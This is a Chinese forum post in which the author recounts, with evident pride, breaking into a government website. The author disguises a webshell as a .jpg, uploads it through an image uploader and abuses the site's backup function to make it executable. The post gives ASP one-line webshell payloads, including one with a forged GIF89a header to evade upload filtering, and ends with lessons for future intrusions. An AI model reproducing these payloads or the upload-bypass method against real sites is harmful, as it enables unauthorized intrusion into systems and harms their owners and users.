【技术贴】 对于某政府网站的入侵与总结

亲们表乱插楼

我进去一看

我勒个去，还是个政府网站呢。


发现有备份的地方
尼玛的，这还不简单，Max这孩纸肿么混的
于是乎 果断操起小马 改成jpg格式 利用图片上传系统 传了上去
如图




OK ，然后拿去备份一下
如图




OK 然后偶打开小马
如图




OK 接下来就是传大马

由西，成功了

到这我也没多想，以为成功了，马上到群里发了句“已上传无压力” 没想到。。。

丢人啊丢人啊

。。。这让我情何以堪。。。脸丢大了。。。
不行，场子是一定要找回来滴。。。 这管理员尼玛太邪恶了


然后马上想到插一句话 <%eval request("cmd")%>
果断用力一插
擦，还是老毛病。 /*这里就不发图了*/
悲剧啊。
刚想去找 Ｃ大　大牛 没想到　Ｃ大这时已经拿到shell　了
问了下Ｃ大 大牛，他说“传个图片头伪装的一句话：GIF89a$ ;<%eval request("croxy")%> 就可以连接了”
/*还是拿我们的小马传的。。。。这让我情何以堪。。。
我以前看教程的时候里面也说了这个伪装文件头，实战的时候就忘记了，唉，真的是~~~~ */


按C大说的
如图




OK

插

总结如下：
1.入侵时不要固化思维，思路要活一点，比方说今天我就没想到用小马传一句话，总就以为小马就是为大马而生。
2.遇到过滤的情况，比方说刚才那个，伪造文件头欺骗就是很好的方法。
3.实战才是王道，通过实战，你会得到很多意想不到的收获。